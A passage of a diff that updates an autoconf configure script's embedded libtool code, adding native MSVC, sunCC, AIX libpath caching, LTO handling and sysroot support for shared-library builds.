+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -11686,7 +12346,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11686 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11730,10 +12390,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11792,7 +12452,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11792 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11836,10 +12496,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -12231,6 +12891,7 @@ $RM -r conftest*
+
+ # Allow CC to be a program name with arguments.
+ lt_save_CC=$CC
++ lt_save_CFLAGS=$CFLAGS
+ lt_save_LD=$LD
+ lt_save_GCC=$GCC
+ GCC=$GXX
+@@ -12248,6 +12909,7 @@ $RM -r conftest*
+ fi
+ test -z "${LDCXX+set}" || LD=$LDCXX
+ CC=${CXX-"c++"}
++ CFLAGS=$CXXFLAGS
+ compiler=$CC
+ compiler_CXX=$CC
+ for cc_temp in $compiler""; do
+@@ -12530,7 +13192,13 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
+ allow_undefined_flag_CXX='-berok'
+ # Determine the default libpath from the value encoded in an empty
+ # executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath__CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -12543,22 +13211,29 @@ main ()
+ _ACEOF
+ if ac_fn_cxx_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath__CXX
++fi
+
+ hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
+
+@@ -12571,7 +13246,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath__CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -12584,22 +13265,29 @@ main ()
+ _ACEOF
+ if ac_fn_cxx_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath__CXX
++fi
+
+ hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -12642,29 +13330,75 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ ;;
+
+ cygwin* | mingw* | pw32* | cegcc*)
+- # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
+- # as there is no search path for DLLs.
+- hardcode_libdir_flag_spec_CXX='-L$libdir'
+- export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
+- allow_undefined_flag_CXX=unsupported
+- always_export_symbols_CXX=no
+- enable_shared_with_static_runtimes_CXX=yes
+-
+- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- # If the export-symbols file already is a .def file (1st line
+- # is EXPORTS), use it as is; otherwise, prepend...
+- archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+- cp $export_symbols $output_objdir/$soname.def;
+- else
+- echo EXPORTS > $output_objdir/$soname.def;
+- cat $export_symbols >> $output_objdir/$soname.def;
+- fi~
+- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- else
+- ld_shlibs_CXX=no
+- fi
+- ;;
++ case $GXX,$cc_basename in
++ ,cl* | no,cl*)
++ # Native MSVC
++ # hardcode_libdir_flag_spec is actually meaningless, as there is
++ # no search path for DLLs.
++ hardcode_libdir_flag_spec_CXX=' '
++ allow_undefined_flag_CXX=unsupported
++ always_export_symbols_CXX=yes
++ file_list_spec_CXX='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds_CXX='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ $SED -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ $SED -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, CXX)='true'
++ enable_shared_with_static_runtimes_CXX=yes
++ # Don't use ranlib
++ old_postinstall_cmds_CXX='chmod 644 $oldlib'
++ postlink_cmds_CXX='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ func_to_tool_file "$lt_outputfile"~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # g++
++ # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
++ # as there is no search path for DLLs.
++ hardcode_libdir_flag_spec_CXX='-L$libdir'
++ export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
++ allow_undefined_flag_CXX=unsupported
++ always_export_symbols_CXX=no
++ enable_shared_with_static_runtimes_CXX=yes
++
++ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
++ archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ # If the export-symbols file already is a .def file (1st line
++ # is EXPORTS), use it as is; otherwise, prepend...
++ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ cp $export_symbols $output_objdir/$soname.def;
++ else
++ echo EXPORTS > $output_objdir/$soname.def;
++ cat $export_symbols >> $output_objdir/$soname.def;
++ fi~
++ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ else
++ ld_shlibs_CXX=no
++ fi
++ ;;
++ esac
++ ;;
+ darwin* | rhapsody*)
+
+
+@@ -12770,7 +13504,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ ;;
+ *)
+ if test "$GXX" = yes; then
+- archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ # FIXME: insert proper C++ library support
+ ld_shlibs_CXX=no
+@@ -12841,10 +13575,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
++ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ *)
+- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
++ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ esac
+ fi
+@@ -12885,9 +13619,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ *)
+ if test "$GXX" = yes; then
+ if test "$with_gnu_ld" = no; then
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ else
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
+ fi
+ fi
+ link_all_deplibs_CXX=yes
+@@ -13165,7 +13899,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ *)
+- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ esac
+
+@@ -13211,7 +13945,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ archive_cmds_need_lc_CXX=yes
+ no_undefined_flag_CXX=' -zdefs'
+@@ -13252,9 +13986,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+ no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
+ if $CC --version | $GREP -v '^2\.7' > /dev/null; then
+- archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+ archive_expsym_cmds_CXX='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+ # Commands to make compiler produce verbose output that lists
+ # what "hidden" libraries, object files and flags are used when
+@@ -13390,6 +14124,13 @@ private:
+ };
+ _LT_EOF
+
++
++_lt_libdeps_save_CFLAGS=$CFLAGS
++case "$CC $CFLAGS " in #(
++*\ -flto*\ *) CFLAGS="$CFLAGS -fno-lto" ;;
++*\ -fwhopr*\ *) CFLAGS="$CFLAGS -fno-whopr" ;;
++esac
++
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+@@ -13403,7 +14144,7 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ pre_test_object_deps_done=no
+
+ for p in `eval "$output_verbose_link_cmd"`; do
+- case $p in
++ case ${prev}${p} in
+
+ -L* | -R* | -l*)
+ # Some compilers place space between "-{L,R}" and the path.
+@@ -13412,13 +14153,22 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ test $p = "-R"; then
+ prev=$p
+ continue
+- else
+- prev=
+ fi
+
++ # Expand the sysroot to ease extracting the directories later.
++ if test -z "$prev"; then
++ case $p in
++ -L*) func_stripname_cnf '-L' '' "$p"; prev=-L; p=$func_stripname_result ;;
++ -R*) func_stripname_cnf '-R' '' "$p"; prev=-R; p=$func_stripname_result ;;
++ -l*) func_stripname_cnf '-l' '' "$p"; prev=-l; p=$func_stripname_result ;;
++ esac
++ fi
++ case $p in
++ =*) func_stripname_cnf '=' '' "$p"; p=$lt_sysroot$func_stripname_result ;;
++ esac
+ if test "$pre_test_object_deps_done" = no; then
+- case $p in
+- -L* | -R*)
++ case ${prev} in
++ -L | -R)
+ # Internal compiler library paths should come after those
+ # provided the user. The postdeps already come after the
+ # user supplied libs so there is no need to process them.
+@@ -13438,8 +14188,10 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ postdeps_CXX="${postdeps_CXX} ${prev}${p}"
+ fi
+ fi
++ prev=
+ ;;
+
++ *.lto.$objext) ;; # Ignore GCC LTO objects
+ *.$objext)
+ # This assumes that the test object file only shows up
+ # once in the compiler output.
+@@ -13475,6 +14227,7 @@ else
+ fi
+
+ $RM -f confest.$objext
++CFLAGS=$_lt_libdeps_save_CFLAGS
+
+ # PORTME: override above test on systems where it is broken
+ case $host_os in
+@@ -13510,7 +14263,7 @@ linux*)
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # The more standards-conforming stlport4 library is
+ # incompatible with the Cstd library. Avoid specifying
+ # it if it's in CXXFLAGS. Ignore libCrun as
+@@ -13575,8 +14328,6 @@ fi
+ lt_prog_compiler_pic_CXX=
+ lt_prog_compiler_static_CXX=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ # C++ specific cases for pic, static, wl, etc.
+ if test "$GXX" = yes; then
+@@ -13681,6 +14432,11 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ ;;
+ esac
+ ;;
++ mingw* | cygwin* | os2* | pw32* | cegcc*)
++ # This hack is so that the source file can tell whether it is being
++ # built for inclusion in a dll (and should export symbols for example).
++ lt_prog_compiler_pic_CXX='-DDLL_EXPORT'
++ ;;
+ dgux*)
+ case $cc_basename in
+ ec++*)
+@@ -13833,7 +14589,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ ;;
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ lt_prog_compiler_pic_CXX='-KPIC'
+ lt_prog_compiler_static_CXX='-Bstatic'
+@@ -13898,10 +14654,17 @@ case $host_os in
+ lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_CXX" >&5
+-$as_echo "$lt_prog_compiler_pic_CXX" >&6; }
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic_CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic_CXX=$lt_prog_compiler_pic_CXX
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic_CXX" >&5
++$as_echo "$lt_cv_prog_compiler_pic_CXX" >&6; }
++lt_prog_compiler_pic_CXX=$lt_cv_prog_compiler_pic_CXX
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -13959,6 +14722,8 @@ fi
+
+
+
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -14136,6 +14901,7 @@ fi
+ $as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
+
+ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
+ case $host_os in
+ aix[4-9]*)
+ # If we're using GNU nm, then we don't want the "-C" option.
+@@ -14150,15 +14916,20 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
+ ;;
+ pw32*)
+ export_symbols_cmds_CXX="$ltdll_cmds"
+- ;;
++ ;;
+ cygwin* | mingw* | cegcc*)
+- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;/^.*[ ]__nm__/s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ case $cc_basename in
++ cl*) ;;
++ *)
++ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms_CXX='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
++ ;;
++ esac
++ ;;
+ *)
+ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ ;;
+ esac
+- exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
+
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
+ $as_echo "$ld_shlibs_CXX" >&6; }
+@@ -14421,8 +15192,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -14454,13 +15226,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -15024,6 +15854,7 @@ fi
+ fi # test -n "$compiler"
+
+ CC=$lt_save_CC
++ CFLAGS=$lt_save_CFLAGS
+ LDCXX=$LD
+ LD=$lt_save_LD
+ GCC=$lt_save_GCC
+@@ -20310,13 +21141,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
